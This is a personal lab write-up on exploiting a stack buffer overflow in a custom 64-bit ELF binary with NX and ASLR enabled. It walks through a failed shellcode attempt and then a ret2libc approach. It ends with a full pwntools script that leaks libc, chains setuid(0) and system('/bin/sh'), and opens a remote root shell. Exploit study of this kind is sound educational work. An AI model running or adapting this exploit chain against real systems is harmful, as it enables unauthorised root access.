x86_64 - ELF Stack Smashing


Here is a interesting buffer overflow analysis/exploitation with ASLR (Address Space Layout Randomization) and NX (No-Execute) protections enabled.

At the target system, we are presented with a pre-compiled 64bit ELF binary named (target) and its source code named (target.c).

Running the binary, we see it just counts and prints how many bytes it received from stdin.

We will proceed with analyzing source code and looking for potential BOF entry point. (As it is not already obvious)

One of the functions that gets called

We can see that inside copy() function, we are writing user input data inside a buffer which has a fixed size of bytes, also there is no input validation in place in means of checking if users input exceeds buffer size. After trying to stuff 500 bytes of A’s, this hypothesis has proven to be true, we got segmentation fault.

Next I went straight for shellcode injection, firing up gdb with loaded peda extension, feeding bunch of A’s to a stdin, with r < <(python3 -c “print (‘A’ * 400)”), we overflow the RBP, but IP ‘failed’ to get overwritten, because we gave it a non-canonical memory address (0x414141414…), after which I proceed finding IP’s offset with pattern_create and pattern_offset, plus appending 8 bytes – ‘BBBB’ after that offset, I managed to control RIP. I set env variable which stores shellcode, found its location on stack, appended it in its canonical, little-endian form to the offset, and BOOM. It doesn’t work? Lets see why.


First try - shellcode injection:

This will feed buffer with 500 A’s.

Now we see that we successfully overwrote RBP (Base Pointer) but we still have to provide a valid address for RIP (Instruction Pointer).

First lets find offset so we know at which point we start overflowing the stack, we can use pattern_create functionality for this. 

We see that we are overflowing the stack, but in order to take control of RIP, we only need to provide valid first 8 Bytes at the beginning of the stack, so we are going to measure the offset at which we start overflowing the stack by pattern_searching the first 8 bytes we see inside beginning of the stack.

So the offset is RBP+0 (288) + 8B = 296. Now lets confirm that, after feeding this payload - r < <(python3 -c "print('A' * 296 + 'BBBBB')") we should successfully overwrite RIP to a 0x42424242. 

Here we see, that we are in control of a RIP. Now we only need to provide it with pointer to our shellcode environment variable, which we are going to get using this getlocation gcc compiled binary, in the figure beneath we also see its source code.

In figure beneath we stored shellcode inside environment variable, and point our RIP to that memory address (little endian representation) so it can execute it.

It failed. I forgot to identify security properties of a given binary, and after doing so, with checksec shell script, or peda’s built in functionality, I found out that this binary has NX enabled.

This was a good example of trial and error, next time I will check security properties and working environment first.


Second try - ret2libc

So the NX (no-execute) prevents me from executing things on stack, also checking kernels ASLR (Address Space Layout Randomization) status, I found out that it is enabled on the environment, so I wouldn’t be able to automate this kind of attack even if NX was not enabled.

Trying to find a way around this, breaking at main and looking inside vmmap, I see that binary loads libc library, so there is a possibility we can use its access to system functions for crafting our exploit. Plan is to eventually call system(“/bin/bash”) from libc’s memory and spawn a shell.

First thing is to as before, find the offset and take control of RIP, I did it using pwntools cyclic pattern.

After that we need to find RDI gadgets – ret instruction and pop to RDI, in order to chain them and get execution in order as we like it.

After that I loaded libc’s binary in memory as well as started target binary so I can inspect maps to find libc’s base address and function calls we need (system, /bin/bash and exit), manually we can achieve this with readelf and strings, automating it with pwntools, we can use .sym and .search respectively.

Manually searching for function call offsets, in figures under this, we can see it confirmed in gdb as well as in pwntools.

Here we see libc’s base address, and if we add the /bin/sh offset to it, we get address for /bin/sh call.

Using process.libs we can see libc’s base address as we manually did using vmmap before.

Here it is different address then on a gdb figure above when we manually did it, as ASLR kicked in. Now it is only left to automate part of finding function call offsets, we will do it using pwntools .sym and .search functions.

We save all those finding in variables, append them in to a payload in correct order, packing with p64 to achieve little-endian representation, send payload with .writeline, call for .interactive and we got a shell.

Final version of exploit also features suid bit exploitation for elevating privileges to root, as well as ssh and/or remote pwntools interactions.

Here, we see a binary hosted on kali vm, and exploitation running from my main ubuntu.

Hosting vulnerable binary on 9197 port
Running the final exploit
Getting the interactive root shell on a remote system

Here is the final remote exploit code:

from pwn import *

TARGET = "./target"
LIBC = "./remote_libc"
OFFSET = cyclic_find(0x63616179)

def leak_libc(p, OFFSET):

    theElf = ELF(TARGET)
    libcElf = ELF(LIBC)

    theRop = ROP(TARGET)
    POP_RDI = theRop.find_gadget(["pop rdi", "ret"])[0]
    log.info("POP RDI %s", hex(POP_RDI))

    PUTS_GOT = theElf.got["printf"]
    PUTS_PLT = theElf.plt["puts"]

    log.info("GOT %s", hex(PUTS_GOT))
    log.info("PLT %s", hex(PUTS_PLT))

    MAIN = theElf.sym["main"]

    payload = b"A"*OFFSET
    payload += p64(POP_RDI)
    payload += p64(PUTS_GOT)
    payload += p64(PUTS_PLT)
    payload += p64(MAIN)
    r.sendline(payload)

    out = r.recvuntil("Read\n")
    log.info("%s", out)
    addr = r.readline()
    log.info ("ARRD %s", addr)

    leakVal = u64(addr.strip().ljust(8,b"\x00"))
    log.info("Leaked Address is %s", hex(leakVal))

    prtf = libcElf.sym["printf"]
    libc_base = leakVal - prtf
    log.info("Libc Base is %s", hex(libc_base))
    return libc_base

def win(p, LIBCOFF):

    theElf = ELF(TARGET)
    log.info("Calculated libc offset is %s", LIBCOFF)

    libcElf = ELF(LIBC)
    libcElf.address=LIBCOFF

    SYSTEM = libcElf.sym["system"]
    log.info("LIBC System %s", hex(SYSTEM))

    SH = next(libcElf.search(b"/bin/sh"))
    log.info("SH %s", hex(SH))

    theRop = ROP(TARGET)
    POP_RDI = theRop.find_gadget(["pop rdi", "ret"])[0]
    log.info("POP RDI %s", hex(POP_RDI))

    SETUID = libcElf.sym["setuid"]
    log.info("SETUID %s",hex(SETUID))

    RET = theRop.find_gadget(["ret"])[0]
    log.info("RET %s", hex(RET))

    payload = b"A"*OFFSET
    payload += p64(POP_RDI)
    payload += p64(0)
    payload += p64(SETUID)
    payload += p64(POP_RDI)
    payload += p64(SH)
    payload += p64(SYSTEM)
    r.sendline(payload)

if __name__ == "__main__":
    
    r = connect("ip",port)
    r.readline()
    pause()

    libc_offset = leak_libc(r, OFFSET)
    win(r, libc_offset)

    r.interactive()

Cheers,
bigfella